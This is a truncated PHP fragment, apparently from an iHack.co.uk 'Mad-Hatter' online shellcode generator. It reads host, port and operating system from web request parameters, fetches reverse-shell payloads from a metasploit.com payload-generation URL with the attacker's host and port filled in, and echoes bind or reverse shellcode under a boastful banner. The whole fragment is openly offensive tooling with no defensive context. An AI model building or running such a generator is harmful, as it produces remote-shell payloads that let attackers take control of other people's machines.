/*
iHack.co.uk
Mad-Hatter's Online Shell Code Generator
We are the Innovators
Port = $port
Size = $size
Type = $type
*/ $output
";}function reverse_shell($host, $port, $os){$glob = glob_match_rev_shell($os); $input = browse("http://metasploit.com:55555/PAYLOADS?parent=$glob&MODULE=$os&MODE=GENERATE&OPT_EXITFUNC=seh&OPT_LHOST=$host&OPT_LPORT=$port&MaxSize=&BadChars=0x00+&ENCODER=default&ACTION=Generate+Payload"); $size = input_match($input, 1, "Size=", " "); $output = input_match($input, 1, "*/", "#"); $type = ucwords(str_replace("_"," ",$os)); echo "
		
/*
iHack.co.uk
Mad-Hatter's Online Shell Code Generator
We are the Innovators
Port = $port
Size = $size
Type = $type
*/ $output
";}if(!eregi("_bind", $os)) { echo reverse_shell($host, $port, $os); }else{ echo bind_shell($port, $os); }}else{echo '

Online Shell Code Generator: Mad-Hatter



Shell Code:
Port:
Reverse IP:
';$port = $_REQUEST['port'];$host = $_REQUEST['host'];$os = $_REQUEST['os'];}?>
iHack.co.uk